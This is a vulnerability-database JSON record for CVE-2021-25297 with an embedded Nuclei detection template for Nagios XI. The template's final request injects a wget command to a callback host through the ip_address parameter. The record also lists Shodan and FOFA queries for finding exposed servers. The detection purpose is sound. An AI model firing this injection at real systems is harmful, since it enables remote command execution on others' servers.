{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-25297/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-25297/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-25297/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-25297/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-25297/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-25297"},"sightings":{"href":"/api/v1/sightings/cve-2021-25297"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-25297.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-25297\n\ninfo:\n  name: Nagios 5.5.6-5.7.5 - Authenticated Remote Command Injection\n  author: k0pak4\n  severity: high\n  description: |\n    Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary commands on the target system.\n  remediation: |\n    Upgrade Nagios to a version higher than 5.7.5 or apply the provided patch to mitigate the vulnerability.\n  reference:\n    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md\n    - https://github.com/rapid7/metasploit-framework/pull/17494\n    - http://nagios.com\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-25297\n    - http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2021-25297\n    cwe-id: CWE-78\n    epss-score: 0.56659\n    epss-percentile: 0.99019\n    cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: nagios\n    product: nagios_xi\n    shodan-query:\n      - title:\"Nagios XI\"\n      - http.title:\"nagios xi\"\n    fofa-query:\n      - title=\"nagios xi\"\n      - app=\"nagios-xi\"\n    google-query: intitle:\"nagios xi\"\n  tags: cve2021,cve,packetstorm,rce,oast,authenticated,msf,nagiosxi,kev,nagios,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /nagiosxi/login.php HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /nagiosxi/login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}\n      - |\n        GET /nagiosxi/index.php HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        @timeout: 20s\n        GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3b%20wget%20{{interactsh-url}}%3b&snmpopts%5bsnmpcommunity%5d=public&scaninterfaces=on HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body_4\n        words:\n          - \"<b>Ping</b>\"\n          - \"Switch Details\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: nsp\n        group: 1\n        regex:\n          - \"name=['\\\"]nsp['\\\"] value=['\\\"](.*)['\\\"]>\"\n        internal: true\n        part: body\n\n      - type: regex\n        name: nsp_auth\n        group: 1\n        regex:\n          - \"var nsp_str = ['\\\"](.*)['\\\"];\"\n        internal: true\n        part: body\n# digest: 4a0a0047304502210089060036dc12378c5a963c6f0dc656ff5b4318ada11b3ef5939cd190f9a7bf8b0220472c871d39cf367b1f94d90ad5ffdbcced2b6b2da325c894146dd8a541bee3f5:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-25297"}